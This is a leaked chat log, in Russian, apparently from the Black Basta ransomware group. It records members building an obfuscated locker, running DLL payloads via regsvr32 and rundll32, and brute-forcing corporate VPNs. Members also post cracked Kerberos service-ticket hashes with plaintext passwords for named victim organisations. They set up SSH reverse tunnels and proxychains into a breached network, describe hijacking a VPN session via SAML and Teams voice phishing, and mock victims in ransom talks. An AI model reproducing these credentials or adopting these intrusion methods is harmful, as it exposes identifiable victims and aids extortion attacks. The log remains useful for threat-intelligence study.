@n3auxaxl:matrix.collectionofmanager.space
+++
2024-05-22 09:55:54
Black Basta
> <@nickolas:talks.icu> столько там крутят на разных шитках, пиздец просто
2024-05-22 09:55:58
Black Basta
))
2024-05-22 09:56:36
Black Basta
все в крипте сейчас точно
2024-05-22 09:56:44
Black Basta
ну я не торговал конечно
2024-05-22 09:57:13
Black Basta
даже не понимаю как это делать
2024-05-22 09:57:25
Black Basta
купить, фикс, продал
2024-05-22 09:57:29
@nickolas:talks.icu
вот может стоит разобраться =)
2024-05-22 09:57:41
Black Basta
лонг
2024-05-22 09:57:43
Black Basta
шорт
2024-05-22 09:58:04
@nickolas:talks.icu
ну это один из вариантов, там же куча вариантов, что можно делать.
2024-05-22 09:58:06
Black Basta
в летние каникулы плотно можно посидеть
2024-05-22 09:58:29
Black Basta
битков 100 бы вкинул покрутил
2024-05-22 09:58:30
Black Basta
посмотрел
2024-05-22 09:58:39
Black Basta
да да, нет нет
2024-05-22 09:58:44
Black Basta
но пока не до этого
2024-05-22 09:58:50
Black Basta
ребят нужно обеспечить работой
2024-05-22 09:58:59
@nickolas:talks.icu
👍️
2024-05-22 09:59:15
@nickolas:talks.icu
я отбегу, буду где то в 16
2024-05-22 09:59:23
Black Basta
давай
2024-05-22 09:59:28
Black Basta
я если что тут
2024-05-22 10:00:11
@n3auxaxl:matrix.collectionofmanager.space
отлично
2024-05-22 10:00:13
@n3auxaxl:matrix.collectionofmanager.space
у вас толкьо amd64
2024-05-22 10:00:15
@n3auxaxl:matrix.collectionofmanager.space
идеально
2024-05-22 10:01:32
@n3auxaxl:matrix.collectionofmanager.space
у меня по идее билд очень маленький будет
2024-05-22 10:01:52
@n3auxaxl:matrix.collectionofmanager.space
под винду сейчас +- 18кб
2024-05-22 10:02:05
@n3auxaxl:matrix.collectionofmanager.space
+ добавлю обсуфикацию, будет где то 25-30кб
2024-05-22 10:02:16
@n3auxaxl:matrix.collectionofmanager.space
под линукс там доп либы будут, поэтому подтянет думаю до 60кб
2024-05-22 10:02:30
@n3auxaxl:matrix.collectionofmanager.space
где то так
2024-05-22 10:02:42
@n3auxaxl:matrix.collectionofmanager.space
хотя может столько же будет
2024-05-22 10:02:47
@n3auxaxl:matrix.collectionofmanager.space
потому что в линухе я буду чисто лочить
2024-05-22 10:02:56
@n3auxaxl:matrix.collectionofmanager.space
не буду убивать процессы
2024-05-22 10:03:10
@n3auxaxl:matrix.collectionofmanager.space
не буду по сети идти
2024-05-22 10:03:23
@n3auxaxl:matrix.collectionofmanager.space
чисто логика по локу
2024-05-22 10:03:36
@n3auxaxl:matrix.collectionofmanager.space
там 1 типы файлов на 50 процентов убивать
2024-05-22 10:03:46
@n3auxaxl:matrix.collectionofmanager.space
остальные на 100 процентов
2024-05-22 10:04:05
@n3auxaxl:matrix.collectionofmanager.space
остальные на 15 вообще
2024-05-22 10:04:06
@n3auxaxl:matrix.collectionofmanager.space
ну и чисто по потокам функицонал
2024-05-22 10:04:08
@n3auxaxl:matrix.collectionofmanager.space
кароче под линуху может даже меньше будет)
2024-05-22 10:04:09
@n3auxaxl:matrix.collectionofmanager.space
посмотрим что да как
2024-05-22 10:04:52
@n3auxaxl:matrix.collectionofmanager.space
ладно, полетел дальше делать
2024-05-22 10:08:03
Black Basta
давай
2024-05-22 10:09:26
Black Basta
то что бил будет весить мало это хорошо
2024-05-22 10:09:30
Black Basta
зарядка все таки ?
2024-05-22 10:09:51
Black Basta
charg
2024-05-22 10:09:53
Black Basta
?
2024-05-22 10:10:00
@n3auxaxl:matrix.collectionofmanager.space
это не бренд
2024-05-22 10:10:06
@n3auxaxl:matrix.collectionofmanager.space
хотя можем и бред такой сделать
2024-05-22 10:10:19
@n3auxaxl:matrix.collectionofmanager.space
над брендом можешь сам подумать
2024-05-22 10:10:42
@n3auxaxl:matrix.collectionofmanager.space
а кстати, decrpyt note надо шаблон
2024-05-22 10:10:54
@n3auxaxl:matrix.collectionofmanager.space
могу подсмотреть у других команд
2024-05-22 10:11:11
@n3auxaxl:matrix.collectionofmanager.space
я еще даже не думал как его назвать
2024-05-22 10:11:28
@n3auxaxl:matrix.collectionofmanager.space
это я просто чтобы лочить в чате не писать
2024-05-22 10:11:37
@n3auxaxl:matrix.collectionofmanager.space
писать вместо лочить - заряжать тачки
2024-05-22 10:12:43
Black Basta
у меня есть
2024-05-22 10:13:06
Black Basta
но не надо с моим что были какие либо соприкосновения
2024-05-22 10:13:40
@n3auxaxl:matrix.collectionofmanager.space
да, это понятно
2024-05-22 10:22:11
Black Basta
> <@lapa:matrix.bestflowers247.online> `sonic-fake.com/?ip=63.233.208.26:4433` вот такая линка должна быть
2024-05-22 10:22:19
Black Basta
++
2024-05-22 10:22:27
Black Basta
тогда шифруем ?
2024-05-22 10:28:00
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> тогда шифруем ?
2024-05-22 10:28:07
@lapa:matrix.bestflowers247.online
отойду на час
2024-05-22 11:01:05
@burito:matrix.bestflowers247.online
Привет, ок, переделаю
2024-05-22 11:07:55
@chuck:talks.icu
> <@muaddib6:matrix.org> Понял. переделываю.
2024-05-22 11:08:01
@chuck:talks.icu
> <@muaddib6:matrix.org> Понял. переделываю.
2024-05-22 11:09:38
@muaddib6:matrix.org
Понял. Все равно переделываю чтобы чистый был
2024-05-22 11:13:03
@chuck:talks.icu
++
2024-05-22 11:31:29
Black Basta
++
2024-05-22 11:40:10
Black Basta
> <@usernamecc:matrix.bestflowers247.online> `aziyo.com \\ id:fe7dff20-bca8-4262-b3d5-5830e31216f3`
2024-05-22 11:40:45
@usernamecc:matrix.bestflowers247.online
```
2024-05-22 11:51:06
@muaddib6:matrix.org
Готово
2024-05-22 11:51:59
@muaddib6:matrix.org
regsvr32 file.dll
2024-05-22 11:52:31
@muaddib6:matrix.org
строка:
2024-05-22 11:52:54
@muaddib6:matrix.org
w7Xz4Qdg8EUaMf9s2ZR5NuhBSPGjVqn3prHkyYDv6cxbJWATem
2024-05-22 11:53:24
@muaddib6:matrix.org
Ну либо запуск rundll32 dll.dll,DllRegisterServer
2024-05-22 11:54:44
@muaddib6:matrix.org
1.7z
2024-05-22 12:05:17
@burito:matrix.bestflowers247.online
@chuck:talks.icuа нет тачки с краудстрайком потестить?
2024-05-22 12:20:53
@burito:matrix.bestflowers247.online
@chuck:talks.icuregsvr32.dll,dll.dll
2024-05-22 12:20:54
@burito:matrix.bestflowers247.online
cobs.zip
2024-05-22 12:28:31
@usernamemm:matrix.bestflowers247.online
kekhash.txt
2024-05-22 12:48:26
Black Basta
pmaconsultants.com
2024-05-22 12:48:32
Black Basta
расшифруй им пока
2024-05-22 12:48:38
@usernameyy:matrix.bestflowers247.online
jr
2024-05-22 12:53:25
@usernameboy:matrix.bestflowers247.online
> <@usernamemm:matrix.bestflowers247.online> sent a file.
2024-05-22 12:53:31
@usernamemm:matrix.bestflowers247.online
++
2024-05-22 13:00:42
@lapa:matrix.bestflowers247.online
`Error writing test1.txt: Read-only file system`
2024-05-22 13:00:52
@lapa:matrix.bestflowers247.online
на сервере 83.97.73.37 проблемка
2024-05-22 13:00:57
@lapa:matrix.bestflowers247.online
что-то с диском как будто
2024-05-22 13:01:04
@lapa:matrix.bestflowers247.online
там у нас брут по мыло и пассу
2024-05-22 13:02:25
@lapa:matrix.bestflowers247.online
`/dev/sda3 58548224 10580234 47967990 19% /` inodes хватает
2024-05-22 13:02:38
@lapa:matrix.bestflowers247.online
`/dev/sda3 879G 277G 557G 34% /` место есть
2024-05-22 13:05:38
@lapa:matrix.bestflowers247.online
попробую ребут
2024-05-22 13:16:29
@lapa:matrix.bestflowers247.online
что-то после ребута нет конекта
2024-05-22 13:44:47
Black Basta
сейчас посмотрит
2024-05-22 13:45:49
Black Basta
смотрит
2024-05-22 13:46:38
@lapa:matrix.bestflowers247.online
+
2024-05-22 13:50:13
@usernameyy:matrix.bestflowers247.online
дабл опять отключился)
2024-05-22 13:50:19
@usernameyy:matrix.bestflowers247.online
сижу на старом, никуда не захожу
2024-05-22 13:57:42
@usernamehunter:matrix.bestflowers247.online
> <@usernamemm:matrix.bestflowers247.online> sent a file.
2024-05-22 13:57:50
@usernamemm:matrix.bestflowers247.online
++
2024-05-22 14:16:52
Black Basta
photo_2024-05-22 17.16.30.jpeg
2024-05-22 14:16:55
Black Basta
что то явно не так
2024-05-22 14:17:24
Black Basta
убунту ведь там ?
2024-05-22 14:18:38
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> убунту ведь там ?
2024-05-22 14:18:43
@lapa:matrix.bestflowers247.online
ну чет с диском там походу
2024-05-22 14:19:22
@usernameyy:matrix.bestflowers247.online
заработал 👌 мы будем его менять?
2024-05-22 14:19:56
Black Basta
кого менять ?
2024-05-22 14:20:00
Black Basta
дабл ?
2024-05-22 14:20:18
Black Basta
Похоже ошибка оси. Не дает буту прогрузиться. Тут только реинстал.
2024-05-22 14:20:28
Black Basta
что делаем тогда ?
2024-05-22 14:21:09
@lapa:matrix.bestflowers247.online
херово... бэкап еще не делал этого сервера
2024-05-22 14:21:10
@usernameyy:matrix.bestflowers247.online
два
2024-05-22 14:21:11
@lapa:matrix.bestflowers247.online
ладно
2024-05-22 14:21:12
@usernameyy:matrix.bestflowers247.online
* да
2024-05-22 14:21:22
@lapa:matrix.bestflowers247.online
но давайте подождем пока сутки
2024-05-22 14:21:33
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> sent an image.
2024-05-22 14:21:49
Black Basta
ждем
2024-05-22 14:21:52
@lapa:matrix.bestflowers247.online
чуть что, потом заново все поставлю
2024-05-22 14:22:33
Black Basta
если что ребутнем в любой момент
2024-05-22 14:22:43
@lapa:matrix.bestflowers247.online
так я и ребутнул)
2024-05-22 14:22:52
Black Basta
image.png
2024-05-22 14:22:55
@lapa:matrix.bestflowers247.online
и в итоге уже не могу поключится
2024-05-22 14:23:18
@lapa:matrix.bestflowers247.online
ладно, все равно там с мыла и пасс уже особо не идет, так как нового особо нет
2024-05-22 14:23:27
Black Basta
++
2024-05-22 14:24:06
@lapa:matrix.bestflowers247.online
короч завтра посмотрим, там какое-то восстановление диска идет
2024-05-22 14:25:18
@lapa:matrix.bestflowers247.online
если не восстановится, заново все предется перечекивать... только вот еще айпишники впнок себе не сохранял, а сразу на тот сервер
2024-05-22 14:25:52
@lapa:matrix.bestflowers247.online
```
2024-05-22 14:25:59
@lapa:matrix.bestflowers247.online
такие еще пассы добавил на брут
2024-05-22 14:44:27
Black Basta
ага
2024-05-22 14:44:48
Black Basta
> <@lapa:matrix.bestflowers247.online> если не восстановится, заново все предется перечекивать... только вот еще айпишники впнок себе не сохранял, а сразу на тот сервер
2024-05-22 14:44:53
Black Basta
у меня тоже нету
2024-05-22 14:45:05
Black Basta
с другого сервера же можно взять
2024-05-22 14:46:29
@lapa:matrix.bestflowers247.online
с какого другого?
2024-05-22 14:47:18
@lapa:matrix.bestflowers247.online
у меня на одном сервере хранятся айпишники впнок
2024-05-22 14:48:05
@lapa:matrix.bestflowers247.online
* у меня на одном сервере хранились айпишники впнок
2024-05-22 14:48:36
@lapa:matrix.bestflowers247.online
ну до ребута, я еще вроде мог выкачивать с сервера
2024-05-22 14:48:52
@lapa:matrix.bestflowers247.online
ну может завтра еще заработает сервер, чтобы хотябы выкачать оттуда
2024-05-22 14:57:24
Black Basta
пока они что то не сделали ?
2024-05-22 14:57:49
Black Basta
а тут у нас остались в итории файлы
2024-05-22 14:58:09
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> пока они что то не сделали ?
2024-05-22 14:58:12
@lapa:matrix.bestflowers247.online
ну ждем до завтра
2024-05-22 14:58:19
@lapa:matrix.bestflowers247.online
если сервер не восстановит диск
2024-05-22 14:58:32
@lapa:matrix.bestflowers247.online
тогда пусть делает новый сервер
2024-05-22 14:58:49
Black Basta
мне снова собирать все впнки ?
2024-05-22 14:59:00
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> sent an image.
2024-05-22 14:59:10
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> мне снова собирать все впнки ?
2024-05-22 14:59:13
@lapa:matrix.bestflowers247.online
да
2024-05-22 14:59:26
@lapa:matrix.bestflowers247.online
можно даже попросить его собрать
2024-05-22 14:59:32
@lapa:matrix.bestflowers247.online
может что-то свежее будет
2024-05-22 15:02:19
Black Basta
citrix,FortiNet,cisco,sophos,paloalto GlobalProtect ,SonicWall,watchguard.
2024-05-22 15:02:23
Black Basta
ничего не забыл ?
2024-05-22 15:05:13
Black Basta
закажу пока новый сервер
2024-05-22 15:05:17
Black Basta
ну подстава
2024-05-22 15:08:31
@lapa:matrix.bestflowers247.online
сек
2024-05-22 15:08:38
@lapa:matrix.bestflowers247.online
не берите новый пока
2024-05-22 15:08:43
@lapa:matrix.bestflowers247.online
завтра
2024-05-22 15:08:57
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> ну подстава
2024-05-22 15:09:40
@lapa:matrix.bestflowers247.online
да ничего не вечно. оборудование на физическом уровне могло выйти из строя
2024-05-22 15:09:46
Black Basta
я посморел ссылки еще работают
2024-05-22 15:09:50
Black Basta
но лучше пересобрать
2024-05-22 15:10:11
@lapa:matrix.bestflowers247.online
ну пусть пересоберет, тем более несколько месяцев прошло, что-то новое может будет
2024-05-22 15:10:17
Black Basta
++
2024-05-22 15:11:39
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> citrix,FortiNet,cisco,sophos,paloalto GlobalProtect ,SonicWall,watchguard.
2024-05-22 15:12:05
@lapa:matrix.bestflowers247.online
Okta не нужна?
2024-05-22 15:13:31
@lapa:matrix.bestflowers247.online
а, хотя окту я там сам собирал
2024-05-22 15:13:40
@lapa:matrix.bestflowers247.online
там просто на поддомене все было
2024-05-22 15:13:51
@lapa:matrix.bestflowers247.online
вы еще говорили, у окты не доступ в сеть в итоге
2024-05-22 15:14:03
@lapa:matrix.bestflowers247.online
окту пусть не собирает тогда
2024-05-22 15:36:44
@lapa:matrix.bestflowers247.online
офнусь
2024-05-22 15:44:11
Black Basta
> <@lapa:matrix.bestflowers247.online> Okta не нужна?
2024-05-22 16:00:21
@nickolas:talks.icu
жестко вы ведете переговоры =)
2024-05-22 18:32:23
Black Basta
++
2024-05-22 18:33:26
Black Basta
ты только один чат видишь)
2024-05-22 18:33:48
@nickolas:talks.icu
на сколько это верный подход ?
2024-05-22 18:33:54
@nickolas:talks.icu
они проламываются ? Не срываются потом ?
2024-05-22 18:34:41
Black Basta
смотря какие карты у тебя в руках
2024-05-22 18:35:20
@nickolas:talks.icu
ну вот что думаешь на счет willsonco ?
2024-05-22 18:35:26
Black Basta
And this is why we got you a discount. Listen, you either need the data or not. If yes, find the funds. There are a million ways to do this. If not. This conversation is closed.
2024-05-22 18:35:30
@nickolas:talks.icu
они вроде мелкие, говорят 280 и больше не дадим ))
2024-05-22 18:35:31
Black Basta
ну так оно и есть
2024-05-22 18:35:40
Black Basta
все четко конкретно
2024-05-22 18:35:44
Black Basta
как у володи нашего
2024-05-22 18:35:48
Black Basta
запад загнивает
2024-05-22 18:35:53
Black Basta
там полупокеры сидят
2024-05-22 18:35:56
Black Basta
хуйню толкают
2024-05-22 18:36:07
Black Basta
я всегда представляю что там сидит уебок которого долбят в одно место
2024-05-22 18:36:18
@nickolas:talks.icu
да конечно эти пидоры готовы ныть пол года, лишь бы цену скинуть
2024-05-22 18:36:19
Black Basta
по этому нету вуважения к нему и что бы он там что то навязывал нам
2024-05-22 18:36:29
@nickolas:talks.icu
они щас все заходят с темой, что мы вам дадим 50-100к ?))
2024-05-22 18:36:32
Black Basta
ну вот и все
2024-05-22 18:36:41
Black Basta
да
2024-05-22 18:36:42
Black Basta
почти все
2024-05-22 18:36:54
@nickolas:talks.icu
вот гандоны, стратегия у них такая
2024-05-22 18:37:02
@nickolas:talks.icu
типа скажем 50-100к
2024-05-22 18:37:08
@nickolas:talks.icu
и будем ныть
2024-05-22 19:16:38
@nickolas:talks.icu
image.png
2024-05-22 19:36:01
Black Basta
да норм
2024-05-22 19:36:09
@nickolas:talks.icu
берут трубки пиздец
2024-05-22 19:36:15
@nickolas:talks.icu
как миленькие )
2024-05-22 19:36:19
Black Basta
да
2024-05-22 19:36:30
Black Basta
конечно
2024-05-22 19:36:38
@nickolas:talks.icu
это тебе не внешний какой то номер
2024-05-22 19:36:41
Black Basta
я бы сам взял )
2024-05-22 19:36:46
@nickolas:talks.icu
=)
2024-05-22 19:37:05
@nickolas:talks.icu
ахуеть
2024-05-22 19:37:09
@nickolas:talks.icu
конверсия огонь
2024-05-22 19:37:12
Black Basta
ага
2024-05-22 19:37:23
@nickolas:talks.icu
и выглядит прилично )))
2024-05-22 19:37:28
Black Basta
да
2024-05-22 19:37:38
Black Basta
а до этого было недозвонов много ?
2024-05-22 19:37:45
@nickolas:talks.icu
пиздец
2024-05-22 19:37:46
@nickolas:talks.icu
80%
2024-05-22 19:37:55
@nickolas:talks.icu
80-90%
2024-05-22 19:38:01
@nickolas:talks.icu
войсы итп, а щас просто каждый берет
2024-05-22 19:39:11
Black Basta
👍️
2024-05-22 20:05:18
@usernamemm:matrix.bestflowers247.online
`Cosentino_2021!`
2024-05-22 20:19:57
@nickolas:talks.icu
мы и фишинг на звонке прокинули )
2024-05-22 20:32:30
@nickolas:talks.icu
image.png
2024-05-22 20:32:35
@nickolas:talks.icu
бам бам бам )
2024-05-22 20:39:30
@nickolas:talks.icu
image.png
2024-05-22 22:21:34
@usernamess:matrix.bestflowers247.online
сетка не стоит того ревеню что заявлена. в другом трасте 21 сервер половина 2003
2024-05-22 22:22:04
@usernamess:matrix.bestflowers247.online
в этом трасте 300 серверов, 1 вцентр насканило от всего и в нем 29 тачек
2024-05-22 22:22:11
@usernamess:matrix.bestflowers247.online
СС даты не наешл
2024-05-22 22:22:23
@usernamess:matrix.bestflowers247.online
Hyper-V не насканило
2024-05-22 22:22:57
@usernamess:matrix.bestflowers247.online
по мимо всего этого не стучит ни в днс нир на порт
2024-05-22 22:23:02
@usernamess:matrix.bestflowers247.online
* по мимо всего этого не стучит ни в днс ни на порт
2024-05-22 22:23:09
@usernamess:matrix.bestflowers247.online
ставить не будем
2024-05-23 00:07:13
@nickolas:talks.icu
есть, захватили впнку и креды
2024-05-23 00:07:14
@nickolas:talks.icu
BSN Sports
2024-05-23 00:07:17
@nickolas:talks.icu
хочешь ?))
2024-05-23 00:07:40
@nickolas:talks.icu
утром на связи, и идем крутить через впн. к началу рабочего дня надо сдвинуться
2024-05-23 04:32:22
Black Basta
++
2024-05-23 05:54:18
Black Basta
++
2024-05-23 06:13:02
@usernameyy:matrix.bestflowers247.online
я сегодня с дома буду, надо с подрядчиком поговорить будет на часик
2024-05-23 06:13:11
@usernameyy:matrix.bestflowers247.online
доброе утро)
2024-05-23 06:16:23
Black Basta
++
2024-05-23 08:15:36
@lapa:matrix.bestflowers247.online
Привет!
2024-05-23 08:15:42
@lapa:matrix.bestflowers247.online
VALID_BRUT_CISCO.txt
2024-05-23 08:15:42
@lapa:matrix.bestflowers247.online
VALID_BRUT_RDWEB.txt
2024-05-23 08:15:43
@lapa:matrix.bestflowers247.online
VALID_BRUT_SONIC.txt
2024-05-23 08:25:23
@lapa:matrix.bestflowers247.online
ну сервер нужен новый видими
2024-05-23 08:25:34
@lapa:matrix.bestflowers247.online
вроде конектится, ввожу пароль, вылетает
2024-05-23 08:28:16
@nickolas:talks.icu
ну и где ты ))
2024-05-23 08:47:37
@usernamett:matrix.bestflowers247.online
abw_kekhash.txt
2024-05-23 08:48:23
@username777:matrix.bestflowers247.online
$krb5tgs$23$*BackupAdmin$abw.art-gruppe.net$MSSQLSvc/fsabw01-alt.abw.art-gruppe.net:1353@abw.art-gruppe.net*$4fb28606aff98a79a67...9c07ac4772:route2000
2024-05-23 08:48:26
@usernamett:matrix.bestflowers247.online
++
2024-05-23 08:52:59
Black Basta
я тут
2024-05-23 08:53:10
@nickolas:talks.icu
ну наконец - то!
2024-05-23 08:53:23
@nickolas:talks.icu
делаем сетку ?
2024-05-23 08:53:27
@nickolas:talks.icu
ты в работе ?
2024-05-23 08:53:38
Black Basta
да
2024-05-23 08:53:43
@nickolas:talks.icu
надо подумать, как тебе прокинуть коннект
2024-05-23 08:53:52
Black Basta
в зале воду льключили
2024-05-23 08:54:02
@nickolas:talks.icu
в впн так просто не зайти, мы у себя настроили все, что бы по куке пустило
2024-05-23 08:54:16
@nickolas:talks.icu
но рисковать переносить куда то, смысла нету.
2024-05-23 08:54:23
Black Basta
дак свою впску давай
2024-05-23 08:54:26
Black Basta
я с нее зайду
2024-05-23 08:54:31
Black Basta
принял
2024-05-23 08:54:33
@nickolas:talks.icu
вчера пиздец, до 3 ночи были танцы с бубном
2024-05-23 08:54:42
@nickolas:talks.icu
давай я тебе лучше ссш реверс дам оттуда
2024-05-23 08:54:44
Black Basta
понял
2024-05-23 08:54:51
Black Basta
VALID_BRUT_CISCO.txt
2024-05-23 08:54:55
@nickolas:talks.icu
есть куда прокинуть реверс ?
2024-05-23 08:54:57
Black Basta
VALID_BRUT_RDWEB.txt
2024-05-23 08:55:04
Black Basta
VALID_BRUT_SONIC.txt
2024-05-23 08:55:12
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> sent a file.
2024-05-23 08:55:31
@nickolas:talks.icu
с моей тачки работать не надо, я тебе полный интерфейс через сокс сделаю
2024-05-23 08:55:40
Black Basta
> <@lapa:matrix.bestflowers247.online> ну сервер нужен новый видими
2024-05-23 08:56:54
Black Basta
лучше с твоей тачки
2024-05-23 08:57:36
@nickolas:talks.icu
не не, давай сокс сделаем.
2024-05-23 08:57:41
@nickolas:talks.icu
разницы никакой
2024-05-23 08:57:55
@nickolas:talks.icu
а мне на тачку подгружать ничего не надо
2024-05-23 08:58:03
Black Basta
хорошо
2024-05-23 08:58:10
@nickolas:talks.icu
давай по ссш прокинем
2024-05-23 08:58:37
Black Basta
давай я тебе лучше ссш реверс дам оттуда
2024-05-23 08:58:45
Black Basta
BSN Sports
2024-05-23 08:58:56
@nickolas:talks.icu
есть куды вкинуть ?
2024-05-23 08:59:05
@nickolas:talks.icu
могу сразу на рабочий линь тебе закинуть коннект с реверсом
2024-05-23 08:59:10
@usernamess:matrix.bestflowers247.online
давай
2024-05-23 08:59:17
Black Basta
могу сразу на рабочий линь тебе закинуть коннект с реверсом
2024-05-23 08:59:38
Black Basta
есть
2024-05-23 08:59:41
Black Basta
смотрю
2024-05-23 08:59:45
@usernamess:matrix.bestflowers247.online
что надо чтоб прокинуть?
2024-05-23 08:59:51
@usernamess:matrix.bestflowers247.online
ip и порт
2024-05-23 09:00:00
@nickolas:talks.icu
я просто себе прокидываю внутри локалки сразу на рабочий линукс
2024-05-23 09:00:01
Black Basta
у меня есть два линукса
2024-05-23 09:00:14
Black Basta
тебе ip дать от сервака ?
2024-05-23 09:00:24
Black Basta
и порт
2024-05-23 09:00:32
Black Basta
ага
2024-05-23 09:00:38
Black Basta
у тебя какой линукс рабочий ?
2024-05-23 09:00:43
@usernamess:matrix.bestflowers247.online
да
2024-05-23 09:01:08
@usernamess:matrix.bestflowers247.online
88.214.25.238 3785
2024-05-23 09:01:20
Black Basta
88.214.25.238 3785
2024-05-23 09:01:23
Black Basta
вот сюда можно
2024-05-23 09:03:14
@nickolas:talks.icu
мне надо ссш + пасс
2024-05-23 09:03:30
@nickolas:talks.icu
и я тебе реверсом коннект отправлю, и с этого линукса сможешь крутить
2024-05-23 09:03:37
@usernamemm:matrix.bestflowers247.online
kekhash.txt
2024-05-23 09:04:27
@nickolas:talks.icu
я тебе скажу на какой порт повешу коннект, ты просто в проксичейнс вобьешь 127.0.0.1:порт на который повесили
2024-05-23 09:04:27
@lapa:matrix.bestflowers247.online
+
2024-05-23 09:04:31
@nickolas:talks.icu
и все, ты в работе
2024-05-23 09:04:57
@nickolas:talks.icu
но это если ты работаешь с линукса.
2024-05-23 09:05:01
@nickolas:talks.icu
давай только плз быстрее решим
2024-05-23 09:09:33
Black Basta
++
2024-05-23 09:09:51
Black Basta
ssh +пасс
2024-05-23 09:10:04
@nickolas:talks.icu
ты мне скажи, что мы делаем
2024-05-23 09:10:07
Black Basta
давай
2024-05-23 09:10:13
Black Basta
к лин доступ нужен
2024-05-23 09:10:38
@usernamess:matrix.bestflowers247.online
рутовый? или создать юзера?
2024-05-23 09:10:45
Black Basta
да
2024-05-23 09:10:53
Black Basta
root
2024-05-23 09:11:03
@usernamess:matrix.bestflowers247.online
```
2024-05-23 09:11:13
Black Basta
```
2024-05-23 09:12:11
Black Basta
и я тебе реверсом коннект отправлю, и с этого линукса сможешь крутить
2024-05-23 09:12:46
@usernamess:matrix.bestflowers247.online
окей
2024-05-23 09:12:49
@usernamess:matrix.bestflowers247.online
пуст даст порт
2024-05-23 09:13:09
@usernameboy:matrix.bestflowers247.online
$krb5tgs$23$*adfs_svc$cosentinogrou...d3e961:Qu0Vad1s08*
2024-05-23 09:13:29
Black Basta
давайте порт
2024-05-23 09:13:34
@usernamemm:matrix.bestflowers247.online
выше уже был
2024-05-23 09:13:35
@usernamess:matrix.bestflowers247.online
есть что то от этой сетки? ip,dc, креды
2024-05-23 09:13:46
@nickolas:talks.icu
бегу
2024-05-23 09:13:48
@nickolas:talks.icu
сек
2024-05-23 09:13:57
@usernamemm:matrix.bestflowers247.online
ты же и расштфровал)
2024-05-23 09:14:12
@usernamemm:matrix.bestflowers247.online
* ты же и расшифровал)
2024-05-23 09:14:23
Black Basta
есть что то от этой сетки? ip,dc, креды
2024-05-23 09:14:34
@nickolas:talks.icu
креды есть
2024-05-23 09:14:40
@nickolas:talks.icu
дц нету
2024-05-23 09:14:48
@nickolas:talks.icu
могу только ипконфиг снять с впнки
2024-05-23 09:14:57
@nickolas:talks.icu
щас ссш прокину и скину все
2024-05-23 09:15:08
Black Basta
давай все
2024-05-23 09:15:56
Black Basta
креды есть
2024-05-23 09:15:59
@nickolas:talks.icu
127.0.0.1:6505
2024-05-23 09:16:09
@usernamess:matrix.bestflowers247.online
хорошо
2024-05-23 09:16:34
@nickolas:talks.icu
image.png
2024-05-23 09:16:42
@usernameboy:matrix.bestflowers247.online
$krb5tgs$23$*sqlservice$pkaufman...6d3c83:pk-password
2024-05-23 09:16:47
@usernamemm:matrix.bestflowers247.online
++
2024-05-23 09:16:52
@nickolas:talks.icu
user: llafrance
2024-05-23 09:17:13
@nickolas:talks.icu
```
2024-05-23 09:20:53
Black Basta
127.0.0.1:6505
2024-05-23 09:20:54
Black Basta
image.png
2024-05-23 09:21:02
Black Basta
user: llafrance
2024-05-23 09:21:09
Black Basta
```
2024-05-23 09:21:17
Black Basta
++
2024-05-23 09:21:30
@nickolas:talks.icu
проверь коннект сразу, и бомбите.
2024-05-23 09:21:35
@nickolas:talks.icu
у вас времени 4 часа
2024-05-23 09:21:40
@nickolas:talks.icu
потом он точно нас выкинет из впна
2024-05-23 09:21:49
@nickolas:talks.icu
а потом я не знаю, сможем ли мы зайти вообще
2024-05-23 09:22:14
@nickolas:talks.icu
так что пожалуйста все шустренько! иначе будет как с той сеткой которую оставили на выходные...
2024-05-23 09:22:24
Black Basta
++
2024-05-23 09:23:08
@nickolas:talks.icu
проверь сразу креды плз
2024-05-23 09:23:15
@nickolas:talks.icu
если чет не будет получаться, говори )
2024-05-23 09:23:28
@nickolas:talks.icu
мы с этими соксами и прокидыванием коннектов собаку здесь уже съели )
2024-05-23 09:24:17
Black Basta
проверь коннект сразу, и бомбите.
2024-05-23 09:24:45
@usernamess:matrix.bestflowers247.online
пока нет ни одной тачки
2024-05-23 09:25:16
@usernamess:matrix.bestflowers247.online
все ок, пошли тачки
2024-05-23 09:26:25
@usernamett:matrix.bestflowers247.online
kekhash.txt
2024-05-23 09:28:06
@usernamess:matrix.bestflowers247.online
там траст есть
2024-05-23 09:31:25
Black Basta
++
2024-05-23 09:31:34
Black Basta
все ок, пошли тачки
2024-05-23 09:31:45
@nickolas:talks.icu
++
2024-05-23 09:33:46
@nickolas:talks.icu
главное щас еще где то крепануться, ну и сделать все без палева =)
2024-05-23 09:34:27
Black Basta
++
2024-05-23 09:34:52
Black Basta
у нас есть три с половиной часа
2024-05-23 09:34:59
@nickolas:talks.icu
все гуд, вас много быстро ее выебете)
2024-05-23 09:35:12
@nickolas:talks.icu
нас тут мало, мы большую сеть не успеем быстро как вы :)
2024-05-23 09:35:31
Black Basta
это да
2024-05-23 09:35:37
Black Basta
нужно таких больше сеток
2024-05-23 09:35:43
Black Basta
расскажи как вчера до впнки добрался
2024-05-23 09:36:09
@nickolas:talks.icu
ну в аппках майкрософта была впнка )
2024-05-23 09:36:22
@nickolas:talks.icu
мы туда провалились по SAML
2024-05-23 09:36:23
@nickolas:talks.icu
и все
2024-05-23 09:37:22
@usernamess:matrix.bestflowers247.online
sportsupplygroup_kerbs.txt
2024-05-23 09:38:37
@nickolas:talks.icu
ну и потом танцы с бубном, что бы пало алто секурконнект подхватил нашу сессию в майкрософте
2024-05-23 09:38:38
@nickolas:talks.icu
все
2024-05-23 09:39:31
@nickolas:talks.icu
нахер эти соксы итп, просто будем забирать впн и не ебаться )
2024-05-23 09:41:11
@usernamess:matrix.bestflowers247.online
VSC_kerbs.txt
2024-05-23 09:41:32
@username777:matrix.bestflowers247.online
$krb5tgs$23$*DBA$VSC.COM$vsc.com/DBA*$d8311f06309b908fcd5...1804603c4c:spirit1
2024-05-23 09:42:03
@nickolas:talks.icu
я их через тимс щас всех выебу =)
2024-05-23 09:42:22
@nickolas:talks.icu
конверт просто ахуенный через звонки
2024-05-23 09:42:54
